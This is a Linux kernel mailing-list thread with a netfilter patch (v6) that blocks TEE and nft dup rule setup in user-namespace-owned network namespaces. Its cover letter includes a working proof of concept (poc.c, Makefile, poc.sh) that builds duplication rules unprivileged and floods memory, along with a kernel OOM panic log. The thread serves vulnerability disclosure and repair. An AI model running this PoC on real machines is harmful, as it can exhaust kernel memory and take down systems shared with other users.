All of lore.kernel.org
 help / color / mirror / Atom feed
* [PATCH nf v6 0/1] netfilter: nf_dup: reject TEE and IPv4/IPv6/netdev nft dup in userns
@ 2026-10-08  7:08 Zihan Xi
  2026-10-08  7:08 ` [PATCH nf v6 1/1] " Zihan Xi
  0 siblings, 1 reply; 4+ messages in thread
From: Zihan Xi @ 2026-10-08  7:08 UTC (permalink / raw)
  To: netfilter-devel
  Cc: pablo, fw, phil, davem, edumazet, pabeni, horms, kaber, jengelh,
	vega, root, zihanx

Hi Linux kernel maintainers,

We found and validated a packet-duplication resource-consumption issue in
net/ipv6/netfilter/nf_dup_ipv6.c. With unprivileged user namespaces enabled,
a non-root user can obtain CAP_NET_ADMIN in a network namespace owned by a
non-initial user namespace and configure the affected duplication rules.

We will provide detailed information about the bug in this email, along with
a PoC to trigger it.

---- details below ----

Bug details:

The existing recursion protection covers synchronous re-entry, but does not
cover every asynchronous packet-processing context. A packet resumed after
an asynchronous queue verdict can reach another duplication rule and be
duplicated again, consuming packet-processing resources. The patch restricts
rule and expression setup in non-initial-userns-owned network namespaces;
it does not repair the asynchronous behavior in init_user_ns-owned network
namespaces.

The demonstrated impact is resource consumption; no memory-safety or
privilege-escalation impact is claimed.

Reproducer:

    # as guest root, before the unprivileged baseline run
    sysctl -w vm.panic_on_oom=0

    # as an unprivileged user; the script builds the NFQUEUE receiver,
    # installs the IPv6 rules, sends traffic, and services queue verdicts
    PANIC_ON_OOM=0 QUEUE_COUNT=1 TEE_CLONES=1 PAYLOAD=1 \
        timeout --signal=TERM --kill-after=2s 5s bash ./poc.sh --userns

The command overrides poc.sh defaults (QUEUE_COUNT=18, TEE_CLONES=2,
PAYLOAD=60000). On the v5 patched kernel, the same user-namespace PoC was
rejected while installing the TEE rule, before any traffic was sent:

    ip6tables: Operation not permitted.
    PATCHED_POC_PASS: TEE rule rejected with EPERM before traffic

The four-file v5 source diff was built as an x86_64 bzImage and booted in an
x86_64 QEMU guest configured with 2 vCPUs and 2 GB RAM. A separate rule-setup
test confirmed that all five frontends are accepted in init_user_ns and
rejected with -EPERM in a non-initial-user-namespace-owned network namespace.
That test validates setup policy only; it does not exercise packet processing
after rule installation. The test harness is not part of this 0/1 series.

    POLICY_TEST_PASS: all five frontends preserve init-userns support and reject userns setup

No crash log was produced by the patched PoC: it stopped at rule setup before
sending packets. The decoded OOM log below is from a separate guest-root run
with vm.panic_on_oom=1, not from the unprivileged user-namespace run or the
v5 patched test. The run harness recorded image SHA-256

dfbad788ca12604efccf39a8a3c65cdb6ded7be8cab26097160b44969167810e

and a matching build record associates that image with baseline revision
9c572a83037a7dcd653ba3a9cc468c16b857d0c9. The v4+ release suffix in the boot
banner is not used as source-tree provenance. The OOM stack is not direct
call-stack evidence of the packet-duplication path and does not show that an
unprivileged user can panic the host.

packetdrill was not used because this reproducer requires network-namespace
and netfilter-rule setup plus a userspace NFQUEUE verdict service. packetdrill
does not provide that verdict service. The PoC and helper files below are the
actual local reproducer files.

changes in v6:
  - resubmit the unchanged v5 patch without code changes
  - v5 Link:
    https://lore.kernel.org/all/20260929125832.25316-1-zihanx@nebusec.ai/
changes in v5:
  - describe the patch as a non-initial-userns setup restriction, not a
    general recursion fix; state that init_user_ns behavior is unchanged
  - remove path-specific trigger details and run-specific metrics from the
    public commit and cover prose
  - drop d877f07112f1 from Fixes: because it added a later frontend, not the
    shared duplication behavior addressed by this restriction
  - record the v5 build and setup-time validation, distinguishing them from
    earlier unpatched-baseline and root-OOM runs
  - v4 Link:
    https://lore.kernel.org/all/cover.1790408011.git.zihanx@nebusec.ai/
changes in v4:
  - add Fixes tags for TEE, IPv4/IPv6 nft dup, and netdev nft dup
    frontends
  - clarify that fcd53c51d037 only added a synchronous guard
  - clarify that this restricts non-initial user namespaces and does not
    fix asynchronous recursion in init_user_ns-owned network namespaces
  - state explicitly that the netdev loop was not runtime-reproduced
  - v3 Link:
    https://lore.kernel.org/all/cover.1790042930.git.zihanx@nebusec.ai/
changes in v3:
  - reroll the fix against the latest nf.git main after no follow-up on v2
  - add the Co-developed-by trailer and matching Signed-off-by
  - v2 Link:
    https://lore.kernel.org/all/cover.1788425393.git.zihanx@nebusec.ai/
changes in v2:
  - drop the persistent struct sk_buff::nf_duplicated field and nf_copy()
    change from v1
  - disable IPv4/IPv6 duplication in non-initial user namespaces
  - v1 Link:
    https://lore.kernel.org/all/cover.1787903722.git.zihanx@nebusec.ai/
------BEGIN poc.c------
#define _GNU_SOURCE

#include <arpa/inet.h>
#include <errno.h>
#include <linux/netfilter.h>
#include <linux/netlink.h>
#include <signal.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <time.h>
#include <unistd.h>

#include <libnetfilter_queue/libnetfilter_queue.h>

static volatile sig_atomic_t stop;
static uint64_t packets_seen;
static uint64_t last_report;
static struct timespec start_ts;

static void on_signal(int signo)
{
	(void)signo;
	stop = 1;
}

static void report_progress(bool force)
{
	struct timespec now;
	double seconds;

	if (!force && packets_seen - last_report < 1000)
		return;

	if (clock_gettime(CLOCK_MONOTONIC, &now) != 0)
		return;

	seconds = (now.tv_sec - start_ts.tv_sec) +
		  (now.tv_nsec - start_ts.tv_nsec) / 1000000000.0;
	fprintf(stderr, "accepted=%llu elapsed=%.3f rate=%.0f pkt/s\n",
		(unsigned long long)packets_seen, seconds,
		seconds > 0.0 ? packets_seen / seconds : 0.0);
	last_report = packets_seen;
}

static int queue_cb(struct nfq_q_handle *qh, struct nfgenmsg *nfmsg,
		    struct nfq_data *nfa, void *data)
{
	struct nfqnl_msg_packet_hdr *ph;
	uint32_t id = 0;

	(void)nfmsg;
	(void)data;

	ph = nfq_get_msg_packet_hdr(nfa);
	if (ph)
		id = ntohl(ph->packet_id);

	packets_seen++;
	report_progress(false);

	return nfq_set_verdict(qh, id, NF_ACCEPT, 0, NULL);
}

int main(int argc, char **argv)
{
	struct nfq_handle *h = NULL;
	struct nfq_q_handle *qh = NULL;
	int fd;
	int queue_num = 0;
	int rv;
	int ret = 1;
	int one = 1;
	int rcvbuf = 512 * 1024 * 1024;
	unsigned int maxlen = 65535;
	char buf[8192] __attribute__((aligned));

	if (argc > 2) {
		fprintf(stderr, "usage: %s [queue-num]\n", argv[0]);
		return 2;
	}
	if (argc == 2)
		queue_num = atoi(argv[1]);

	signal(SIGINT, on_signal);
	signal(SIGTERM, on_signal);

	if (clock_gettime(CLOCK_MONOTONIC, &start_ts) != 0) {
		perror("clock_gettime");
		return 1;
	}

	h = nfq_open();
	if (!h) {
		perror("nfq_open");
		goto out;
	}

	if (nfq_unbind_pf(h, AF_INET6) < 0)
		fprintf(stderr, "warning: nfq_unbind_pf(AF_INET6) failed\n");

	if (nfq_bind_pf(h, AF_INET6) < 0) {
		perror("nfq_bind_pf(AF_INET6)");
		goto out;
	}

	qh = nfq_create_queue(h, (uint16_t)queue_num, queue_cb, NULL);
	if (!qh) {
		perror("nfq_create_queue");
		goto out;
	}

	if (nfq_set_mode(qh, NFQNL_COPY_META, 0) < 0) {
		perror("nfq_set_mode");
		goto out;
	}

	if (nfq_set_queue_maxlen(qh, maxlen) < 0)
		fprintf(stderr, "warning: nfq_set_queue_maxlen(%u) failed\n", maxlen);

	fd = nfq_fd(h);
	if (setsockopt(fd, SOL_SOCKET, SO_RCVBUFFORCE, &rcvbuf,
		       sizeof(rcvbuf)) < 0 &&
	    setsockopt(fd, SOL_SOCKET, SO_RCVBUF, &rcvbuf, sizeof(rcvbuf)) < 0)
		fprintf(stderr, "warning: socket receive buffer setup failed: %s\n",
			strerror(errno));
	if (setsockopt(fd, SOL_NETLINK, NETLINK_NO_ENOBUFS, &one, sizeof(one)) < 0)
		fprintf(stderr, "warning: NETLINK_NO_ENOBUFS failed: %s\n",
			strerror(errno));

	while (!stop) {
		rv = recv(fd, buf, sizeof(buf), 0);
		if (rv >= 0) {
			if (nfq_handle_packet(h, buf, rv) < 0) {
				perror("nfq_handle_packet");
				break;
			}
			continue;
		}

		if (errno == EINTR)
			continue;
		if (errno == ENOBUFS)
			continue;

		perror("recv");
		break;
	}

	report_progress(true);
	ret = 0;

out:
	if (qh)
		nfq_destroy_queue(qh);
	if (h)
		nfq_close(h);
	return ret;
}
------END poc.c--------

------BEGIN Makefile------
CC ?= gcc
CFLAGS ?= -O2 -Wall -Wextra
LDLIBS ?= -lnetfilter_queue -lnfnetlink

all: poc

poc: poc.c

clean:
	rm -f poc
------END Makefile--------

------BEGIN poc.sh------
#!/bin/bash
set -euo pipefail

SCRIPT_DIR=$(cd -- "$(dirname -- "${BASH_SOURCE[0]}")" && pwd)
IP=/usr/sbin/ip
IP6TABLES=/usr/sbin/ip6tables-legacy
SYSCTL=/usr/sbin/sysctl
export XTABLES_LOCKFILE=${XTABLES_LOCKFILE:-$SCRIPT_DIR/xtables.lock}
QUEUE_COUNT=${QUEUE_COUNT:-18}
BASE_PORT=${BASE_PORT:-5555}
PAYLOAD=${PAYLOAD:-60000}
TEE_CLONES=${TEE_CLONES:-2}
PANIC_ON_OOM=${PANIC_ON_OOM:-1}
PANIC_ON_WARN=${PANIC_ON_WARN:-0}

if [[ ${1-} == "--userns" ]]; then
	exec unshare -Urn -- "$0" --inside-userns
fi

if [[ ${1-} == "--inside-userns" ]]; then
	shift
fi

cleanup() {
	"$IP6TABLES" -t raw -F OUTPUT 2>/dev/null || true
	"$IP6TABLES" -t mangle -F OUTPUT 2>/dev/null || true
	for pid in "${acceptor_pids[@]-}"; do
		kill "$pid" 2>/dev/null || true
	done
	for pid in "${acceptor_pids[@]-}"; do
		wait "$pid" 2>/dev/null || true
	done
}
trap cleanup EXIT

"$IP" link set lo up
"$SYSCTL" -q -w kernel.panic_on_warn="$PANIC_ON_WARN" || true
"$SYSCTL" -q -w vm.panic_on_oom="$PANIC_ON_OOM" || true
"$SYSCTL" -q -w net.core.rmem_max=536870912 || true
"$SYSCTL" -q -w net.core.rmem_default=536870912 || true
"$SYSCTL" -q -w net.netfilter.nf_queue_maxlen=65535 || true

make -C "$SCRIPT_DIR" clean all

"$IP6TABLES" -t raw -F OUTPUT
"$IP6TABLES" -t mangle -F OUTPUT

acceptor_pids=()

for q in $(seq 0 $((QUEUE_COUNT - 1))); do
	port=$((BASE_PORT + q))

	"$IP6TABLES" -t raw -A OUTPUT \
		-p udp -d ::1 --dport "$port" \
		-j NFQUEUE --queue-num "$q"

	for _ in $(seq 1 "$TEE_CLONES"); do
		"$IP6TABLES" -t mangle -A OUTPUT \
			-p udp -d ::1 --dport "$port" \
			-j TEE --gateway ::1 --oif lo
	done

	"$SCRIPT_DIR/poc" "$q" >"$SCRIPT_DIR/acceptor-$q.log" 2>&1 &
	acceptor_pids+=("$!")
done
sleep 1

python3 - "$BASE_PORT" "$QUEUE_COUNT" "$PAYLOAD" <<'PY'
import socket
import sys

base_port = int(sys.argv[1])
queue_count = int(sys.argv[2])
payload_len = int(sys.argv[3])

s = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM)
for offset in range(queue_count):
	dport = base_port + offset
	s.sendto(b"A" * payload_len, ("::1", dport))
	print("sent", payload_len, "bytes to ::1", dport)
PY

echo "PoC is active. Queue state:"
cat /proc/net/netfilter/nfnetlink_queue 2>/dev/null || true

wait
------END poc.sh--------
----BEGIN crash log----
Separate guest-root run:

    make clean all
    sysctl -w vm.panic_on_oom=1
    PANIC_ON_OOM=1 QUEUE_COUNT=18 TEE_CLONES=2 PAYLOAD=60000 bash ./poc.sh

[   18.785356] in:imklog invoked oom-killer: gfp_mask=0x140cca(GFP_HIGHUSER_MOVABLE|__GFP_COMP), order=0, oom_score_adj=0
[   18.785362] CPU: 0 UID: 0 PID: 151 Comm: in:imklog Not tainted 7.3.0-rc3-nfdup-userns-v4+ #1 PREEMPT(lazy) 
[   18.785364] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[   18.785365] Call Trace:
[   18.785367]  <TASK>
[   18.785369]  dump_stack_lvl (??:?)
[   18.785374]  dump_header (oom_kill.c:?)
[   18.785376]  out_of_memory (??:?)
[   18.785378]  __alloc_frozen_pages_noprof (??:?)
[   18.785381]  ? blk_finish_plug (??:?)
[   18.785384]  alloc_pages_mpol (mempolicy.c:?)
[   18.785387]  folio_alloc_noprof (??:?)
[   18.785389]  __filemap_get_folio_mpol (??:?)
[   18.785391]  filemap_fault (??:?)
[   18.785392]  __do_fault (memory.c:?)
[   18.785395]  __handle_mm_fault (memory.c:?)
[   18.785397]  handle_mm_fault (??:?)
[   18.785399]  do_user_addr_fault (fault.c:?)
[   18.785402]  exc_page_fault (??:?)
[   18.785404]  asm_exc_page_fault (??:?)
[   18.785406] RIP: 0033:0x7fc1cf0de492
[   18.785408] Code: 89 07 31 c0 c3 0f 1f 00 41 54 55 53 48 8b 2f 80 7d 00 3c 75 73 49 89 fc 48 89 f3 e8 c8 fe ff ff 4c 8b 00 0f b6 45 01 48 89 c2 <41> f6 44 40 01 08 74 56 48 8d 4d 01 31 c0 eb 0c 66 0f 1f 44 00 00
All code
========
   0:	89 07                	mov    %eax,(%rdi)
   2:	31 c0                	xor    %eax,%eax
   4:	c3                   	ret
   5:	0f 1f 00             	nopl   (%rax)
   8:	41 54                	push   %r12
   a:	55                   	push   %rbp
   b:	53                   	push   %rbx
   c:	48 8b 2f             	mov    (%rdi),%rbp
   f:	80 7d 00 3c          	cmpb   $0x3c,0x0(%rbp)
  13:	75 73                	jne    0x88
  15:	49 89 fc             	mov    %rdi,%r12
  18:	48 89 f3             	mov    %rsi,%rbx
  1b:	e8 c8 fe ff ff       	call   0xfffffffffffffee8
  20:	4c 8b 00             	mov    (%rax),%r8
  23:	0f b6 45 01          	movzbl 0x1(%rbp),%eax
  27:	48 89 c2             	mov    %rax,%rdx
  2a:*	41 f6 44 40 01 08    	testb  $0x8,0x1(%r8,%rax,2)		<-- trapping instruction
  30:	74 56                	je     0x88
  32:	48 8d 4d 01          	lea    0x1(%rbp),%rcx
  36:	31 c0                	xor    %eax,%eax
  38:	eb 0c                	jmp    0x46
  3a:	66 0f 1f 44 00 00    	nopw   0x0(%rax,%rax,1)

Code starting with the faulting instruction
===========================================
   0:	41 f6 44 40 01 08    	testb  $0x8,0x1(%r8,%rax,2)
   6:	74 56                	je     0x5e
   8:	48 8d 4d 01          	lea    0x1(%rbp),%rcx
   c:	31 c0                	xor    %eax,%eax
   e:	eb 0c                	jmp    0x1c
  10:	66 0f 1f 44 00 00    	nopw   0x0(%rax,%rax,1)
[   18.785409] RSP: 002b:00007fc1cebf53e0 EFLAGS: 00010203
[   18.785410] RAX: 0000000000000034 RBX: 00007fc1cebf540c RCX: 0000000000000000
[   18.785411] RDX: 0000000000000034 RSI: 00007fc1cebf540c RDI: 00007fc1cebf5400
[   18.785412] RBP: 00007fc1cebf5d00 R08: 00007fc1cf5243c0 R09: 0000560c44c3be68
[   18.785412] R10: a3d70a3d70a3d70b R11: 0000000000000000 R12: 00007fc1cebf5400
[   18.785413] R13: 0000560c44c3f4a0 R14: 00007fc1cebf5d00 R15: 00007fc1cebf5d86
[   18.785414]  </TASK>
[   18.785414] Mem-Info:
[   18.785415] active_anon:50 inactive_anon:12058 isolated_anon:0
[   18.785415]  active_file:365 inactive_file:658 isolated_file:26
[   18.785415]  unevictable:0 dirty:6 writeback:0
[   18.785415]  slab_reclaimable:2018 slab_unreclaimable:482856
[   18.785415]  mapped:679 shmem:58 pagetables:1008
[   18.785415]  sec_pagetables:0 bounce:0
[   18.785415]  kernel_misc_reclaimable:0
[   18.785415]  free:4066 free_pcp:164 free_cma:0
[   18.785418] Node 0 active_anon:200kB inactive_anon:48232kB active_file:1460kB inactive_file:2632kB unevictable:0kB isolated(anon):0kB isolated(file):104kB mapped:2716kB dirty:24kB writeback:0kB shmem:232kB kernel_stack:1984kB pagetables:4032kB sec_pagetables:0kB all_unreclaimable? no Balloon:0kB gpu_active:0kB gpu_reclaim:0kB
[   18.785420] Node 0 DMA free:7864kB boost:0kB min:40kB low:52kB high:64kB reserved_highatomic:0kB free_highatomic:0kB active_anon:0kB inactive_anon:0kB active_file:8kB inactive_file:0kB unevictable:0kB writepending:8kB zspages:0kB present:15992kB managed:15360kB mlocked:0kB bounce:0kB free_pcp:12kB local_pcp:12kB free_cma:0kB
[   18.785423] lowmem_reserve[]: 0 1959 1959 1959
[   18.785425] Node 0 DMA32 free:8400kB boost:14452kB min:20088kB low:22088kB high:24088kB reserved_highatomic:0kB free_highatomic:0kB active_anon:200kB inactive_anon:48232kB active_file:1448kB inactive_file:2632kB unevictable:0kB writepending:24kB zspages:0kB present:2080628kB managed:2006712kB mlocked:0kB bounce:0kB free_pcp:644kB local_pcp:644kB free_cma:0kB
[   18.785427] lowmem_reserve[]: 0 0 0 0
[   18.785429] Node 0 DMA: 1*4kB (U) 2*8kB (UM) 0*16kB 1*32kB (M) 2*64kB (UM) 2*128kB (UM) 1*256kB (M) 2*512kB (UM) 2*1024kB (UM) 0*2048kB 1*4096kB (M) = 7860kB
[   18.785435] Node 0 DMA32: 148*4kB (M) 88*8kB (UM) 44*16kB (UM) 26*32kB (UM) 17*64kB (M) 23*128kB (UME) 6*256kB (ME) 0*512kB 0*1024kB 0*2048kB 0*4096kB = 8400kB
[   18.785440] Node 0 hugepages_total=0 hugepages_free=0 hugepages_surp=0 hugepages_size=2048kB
[   18.785441] 1131 total pagecache pages
[   18.785441] 0 pages in swap cache
[   18.785442] Free swap  = 0kB
[   18.785442] Total swap = 0kB
[   18.785442] 524155 pages RAM
[   18.785443] 0 pages HighMem/MovableOnly
[   18.785443] 18637 pages reserved
[   18.785443] Unreclaimable slab info:
[   18.785444] Name                      Used          Total
[   18.785445] UDPv6                     34KB         63KB
[   18.785446] TCPv6                     29KB         31KB
[   18.785447] bio-120                   15KB         16KB
[   18.785448] mqueue_inode_cache         24KB         31KB
[   18.785449] UNIX                      63KB         63KB
[   18.785450] RAW                       14KB         15KB
[   18.785450] UDP                       63KB         63KB
[   18.785450] request_sock_TCP           8KB         11KB
[   18.785451] TCP                       27KB         30KB
[   18.785452] hugetlbfs_inode_cache         31KB         31KB
[   18.785452] netfs_request             70KB         75KB
[   18.785453] bio-272                   26KB         26KB
[   18.785454] bio-248                    7KB          8KB
[   18.785454] request_queue             24KB         30KB
[   18.785455] bio-184                   90KB         90KB
[   18.785456] user_namespace            52KB         63KB
[   18.785456] skbuff_head_cache     407502KB     407504KB
[   18.785457] taskstats                 37KB         46KB
[   18.785458] seq_file                  13KB         15KB
[   18.785458] shmem_inode_cache        464KB        470KB
[   18.785460] kernfs_node_cache       1673KB       1701KB
[   18.785460] mnt_cache                 63KB         63KB
[   18.785461] filp                     146KB        149KB
[   18.785462] net_namespace             16KB         28KB
[   18.785462] avtab_extended_perms          4KB          7KB
[   18.785463] avtab_node              3151KB       3151KB
[   18.785464] key_jar                   14KB         16KB
[   18.785464] uts_namespace             42KB         47KB
[   18.785465] vm_area_struct           888KB        889KB
[   18.785465] files_cache          1120672KB    1120673KB
[   18.785466] signal_cache             162KB        173KB
[   18.785466] sighand_cache            272KB        278KB
[   18.785467] task_struct              586KB        586KB
[   18.785467] anon_vma                 174KB        177KB
[   18.785468] Acpi-ParseExt              6KB          7KB
[   18.785468] Acpi-State                56KB         59KB
[   18.785469] numa_policy               22KB         23KB
[   18.785472] ftrace_event_field        744KB        790KB
[   18.785477] maple_node               238KB        352KB
[   18.785477] mm_struct                141KB        151KB
[   18.785478] vmap_area                110KB        114KB
[   18.785479] kmalloc-8k               352KB        352KB
[   18.785479] kmalloc-4k               704KB        704KB
[   18.785479] kmalloc-2k               744KB        768KB
[   18.785480] kmalloc-1k               468KB        480KB
[   18.785480] kmalloc-512              554KB        560KB
[   18.785481] kmalloc-256           206387KB     206388KB
[   18.785481] kmalloc-128              159KB        160KB
[   18.785484] kmalloc-64              1264KB       1284KB
[   18.785484] kmalloc-32               174KB        176KB
[   18.785485] kmalloc-16               157KB        160KB
[   18.785485] kmalloc-8                 45KB         48KB
[   18.785486] kmalloc-192           153097KB     153097KB
[   18.785487] kmalloc-96               511KB        519KB
[   18.785488] kmem_cache_node            8KB         12KB
[   18.785488] kmem_cache                32KB         36KB
[   18.785489] Tasks state (memory values in pages):
[   18.785489] [  pid  ]   uid  tgid total_vm      rss rss_anon rss_file rss_shmem pgtables_bytes swapents oom_score_adj name
[   18.785496] [     92]     0    92     8002      328      205      122         1    81920        0          -250 systemd-journal
[   18.785499] [    112]     0   112     8919     2641     2527      114         0    94208        0         -1000 systemd-udevd
[   18.785502] [    114]     0   114     8853     2567     2464      103         0    77824        0             0 systemd-udevd
[   18.785503] [    115]     0   115     8853     2568     2465      103         0    90112        0             0 systemd-udevd
[   18.785505] [    116]     0   116     8853     2568     2465      103         0    77824        0             0 systemd-udevd
[   18.785506] [    117]     0   117     8853     2572     2469      103         0    98304        0             0 systemd-udevd
[   18.785508] [    118]     0   118     8853     2568     2465      103         0    77824        0             0 systemd-udevd
[   18.785509] [    119]     0   119     8853     2569     2466      103         0    77824        0             0 systemd-udevd
[   18.785510] [    120]     0   120     8853     2571     2468      103         0    77824        0             0 systemd-udevd
[   18.785512] [    121]     0   121     8853     2571     2468      103         0    77824        0             0 systemd-udevd
[   18.785513] [    122]     0   122     8853     2571     2468      103         0    90112        0             0 systemd-udevd
[   18.785514] [    123]     0   123     9139     2847     2744      103         0    77824        0             0 systemd-udevd
[   18.785516] [    124]     0   124     8853     2591     2488      103         0    90112        0             0 systemd-udevd
[   18.785517] [    125]     0   125     8853     2591     2488      103         0    77824        0             0 systemd-udevd
[   18.785518] [    126]     0   126     8853     2591     2488      103         0    77824        0             0 systemd-udevd
[   18.785520] [    127]     0   127     8853     2590     2487      103         0    90112        0             0 systemd-udevd
[   18.785521] [    128]     0   128     8853     2591     2488      103         0    77824        0             0 systemd-udevd
[   18.785523] [    136]     0   136     1411      117       68       49         0    57344        0             0 cron
[   18.785524] [    142]     0   142    55235      336      292       44         0    77824        0             0 rsyslogd
[   18.785526] [    177]     0   177    24973      680      340      340         0    77824        0             0 dhclient
[   18.785528] [    207]     0   207      720       75       33       42         0    45056        0             0 agetty
[   18.785530] [    208]     0   208      720       81       33       48         0    45056        0             0 agetty
[   18.785531] [    211]     0   211      720       80       32       48         0    53248        0             0 agetty
[   18.785533] [    213]     0   213      720       81       33       48         0    40960        0             0 agetty
[   18.785534] [    214]     0   214      720       80       32       48         0    40960        0             0 agetty
[   18.785536] [    215]     0   215      720       72       32       40         0    45056        0             0 agetty
[   18.785537] [    216]     0   216     1101       82       34       48         0    45056        0             0 agetty
[   18.785539] [    219]     0   219     3340      556      245      311         0    65536        0         -1000 sshd
[   18.785540] [    220]     0   220    14097      429      391       38         0   102400        0             0 nginx
[   18.785542] [    221]    33   221    14191      544      471       73         0   102400        0             0 nginx
[   18.785543] [    222]    33   222    14191      544      471       73         0   102400        0             0 nginx
[   18.785545] [    247]     0   247     3453      611      289      322         0    61440        0             0 sshd
[   18.785546] [    253]     0   253     1429      175       76       99         0    53248        0             0 bash
[   18.785548] [    284]     0   284     1132       75       30       45         0    49152        0             0 poc
[   18.785549] [    289]     0   289     1132       75       30       45         0    49152        0             0 poc
[   18.785551] [    294]     0   294     1132       74       29       45         0    49152        0             0 poc
[   18.785552] [    299]     0   299     1132       75       30       45         0    53248        0             0 poc
[   18.785553] [    304]     0   304     1132       76       31       45         0    49152        0             0 poc
[   18.785555] [    309]     0   309     1132       75       30       45         0    45056        0             0 poc
[   18.785557] [    314]     0   314     1132       76       31       45         0    49152        0             0 poc
[   18.785558] [    319]     0   319     1132       75       30       45         0    53248        0             0 poc
[   18.785559] [    324]     0   324     1132       74       29       45         0    49152        0             0 poc
[   18.785561] [    329]     0   329     1132       74       29       45         0    49152        0             0 poc
[   18.785562] [    334]     0   334     1132       76       31       45         0    45056        0             0 poc
[   18.785563] [    339]     0   339     1132       75       30       45         0    53248        0             0 poc
[   18.785565] [    344]     0   344     1132       75       30       45         0    49152        0             0 poc
[   18.785566] [    349]     0   349     1132       74       29       45         0    49152        0             0 poc
[   18.785567] [    354]     0   354     1132       75       30       45         0    57344        0             0 poc
[   18.785569] [    359]     0   359     1132       75       30       45         0    49152        0             0 poc
[   18.785571] [    364]     0   364     1132       74       29       45         0    45056        0             0 poc
[   18.785572] [    369]     0   369     1132       75       30       45         0    49152        0             0 poc
[   18.785573] Kernel panic - not syncing: Out of memory: system-wide panic_on_oom is enabled
[   24.331707] CPU: 0 UID: 0 PID: 151 Comm: in:imklog Not tainted 7.3.0-rc3-nfdup-userns-v4+ #1 PREEMPT(lazy) 
[   24.362669] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[   24.409517] Call Trace:
[   24.413508]  <TASK>
[   24.416216]  vpanic (??:?)
[   24.421716]  panic (??:?)
[   24.431488]  out_of_memory (??:?)
[   24.447655]  __alloc_frozen_pages_noprof (??:?)
[   24.460673]  ? blk_finish_plug (??:?)
[   24.471956]  alloc_pages_mpol (mempolicy.c:?)
[   24.487290]  folio_alloc_noprof (??:?)
[   24.500585]  __filemap_get_folio_mpol (??:?)
[   24.515267]  filemap_fault (??:?)
[   24.526120]  __do_fault (memory.c:?)
[   24.535019]  __handle_mm_fault (memory.c:?)
[   24.546231]  handle_mm_fault (??:?)
[   24.564328]  do_user_addr_fault (fault.c:?)
[   24.575188]  exc_page_fault (??:?)
[   24.587329]  asm_exc_page_fault (??:?)
[   24.605362] RIP: 0033:0x7fc1cf0de492
[   24.615827] Code: 89 07 31 c0 c3 0f 1f 00 41 54 55 53 48 8b 2f 80 7d 00 3c 75 73 49 89 fc 48 89 f3 e8 c8 fe ff ff 4c 8b 00 0f b6 45 01 48 89 c2 <41> f6 44 40 01 08 74 56 48 8d 4d 01 31 c0 eb 0c 66 0f 1f 44 00 00
All code
========
   0:	89 07                	mov    %eax,(%rdi)
   2:	31 c0                	xor    %eax,%eax
   4:	c3                   	ret
   5:	0f 1f 00             	nopl   (%rax)
   8:	41 54                	push   %r12
   a:	55                   	push   %rbp
   b:	53                   	push   %rbx
   c:	48 8b 2f             	mov    (%rdi),%rbp
   f:	80 7d 00 3c          	cmpb   $0x3c,0x0(%rbp)
  13:	75 73                	jne    0x88
  15:	49 89 fc             	mov    %rdi,%r12
  18:	48 89 f3             	mov    %rsi,%rbx
  1b:	e8 c8 fe ff ff       	call   0xfffffffffffffee8
  20:	4c 8b 00             	mov    (%rax),%r8
  23:	0f b6 45 01          	movzbl 0x1(%rbp),%eax
  27:	48 89 c2             	mov    %rax,%rdx
  2a:*	41 f6 44 40 01 08    	testb  $0x8,0x1(%r8,%rax,2)		<-- trapping instruction
  30:	74 56                	je     0x88
  32:	48 8d 4d 01          	lea    0x1(%rbp),%rcx
  36:	31 c0                	xor    %eax,%eax
  38:	eb 0c                	jmp    0x46
  3a:	66 0f 1f 44 00 00    	nopw   0x0(%rax,%rax,1)

Code starting with the faulting instruction
===========================================
   0:	41 f6 44 40 01 08    	testb  $0x8,0x1(%r8,%rax,2)
   6:	74 56                	je     0x5e
   8:	48 8d 4d 01          	lea    0x1(%rbp),%rcx
   c:	31 c0                	xor    %eax,%eax
   e:	eb 0c                	jmp    0x1c
  10:	66 0f 1f 44 00 00    	nopw   0x0(%rax,%rax,1)
[   24.699787] RSP: 002b:00007fc1cebf53e0 EFLAGS: 00010203
[   24.712851] RAX: 0000000000000034 RBX: 00007fc1cebf540c RCX: 0000000000000000
[   24.733040] RDX: 0000000000000034 RSI: 00007fc1cebf540c RDI: 00007fc1cebf5400
[   24.759486] RBP: 00007fc1cebf5d00 R08: 00007fc1cf5243c0 R09: 0000560c44c3be68
[   24.780577] R10: a3d70a3d70a3d70b R11: 0000000000000000 R12: 00007fc1cebf5400
[   24.799710] R13: 0000560c44c3f4a0 R14: 00007fc1cebf5d00 R15: 00007fc1cebf5d86
[   24.821184]  </TASK>
[   24.830066] Kernel Offset: 0x17a00000 from 0xffffffff81000000 (relocation range: 0xffffffff80000000-0xffffffffbfffffff)
[   24.865890] ---[ end Kernel panic - not syncing: Out of memory: system-wide panic_on_oom is enabled ]---
-----END crash log-----

Best regards,
Zihan Xi

Zihan Xi (1):
  netfilter: nf_dup: reject TEE and IPv4/IPv6/netdev nft dup in userns

 net/ipv4/netfilter/nft_dup_ipv4.c | 4 ++++
 net/ipv6/netfilter/nft_dup_ipv6.c | 4 ++++
 net/netfilter/nft_dup_netdev.c    | 4 ++++
 net/netfilter/xt_TEE.c            | 4 ++++
 4 files changed, 16 insertions(+)

-- 
2.43.0


^ permalink raw reply	[flat|nested] 4+ messages in thread

* [PATCH nf v6 1/1] netfilter: nf_dup: reject TEE and IPv4/IPv6/netdev nft dup in userns
  2026-10-08  7:08 [PATCH nf v6 0/1] netfilter: nf_dup: reject TEE and IPv4/IPv6/netdev nft dup in userns Zihan Xi
@ 2026-10-08  7:08 ` Zihan Xi
  2026-10-09  0:11   ` Pablo Neira Ayuso
  0 siblings, 1 reply; 4+ messages in thread
From: Zihan Xi @ 2026-10-08  7:08 UTC (permalink / raw)
  To: netfilter-devel
  Cc: pablo, fw, phil, davem, edumazet, pabeni, horms, kaber, jengelh,
	vega, root, zihanx

The packet-duplication frontends can permit repeated packet duplication and
resource consumption when configured in a network namespace owned by a
non-initial user namespace. Users with CAP_NET_ADMIN in that namespace can
configure the affected rules.

No use case for TEE or nft dup in such namespaces has been identified.
Reject TEE and IPv4/IPv6/netdev nft dup rule or expression setup with
-EPERM there, without adding checks to packet-processing fast paths.

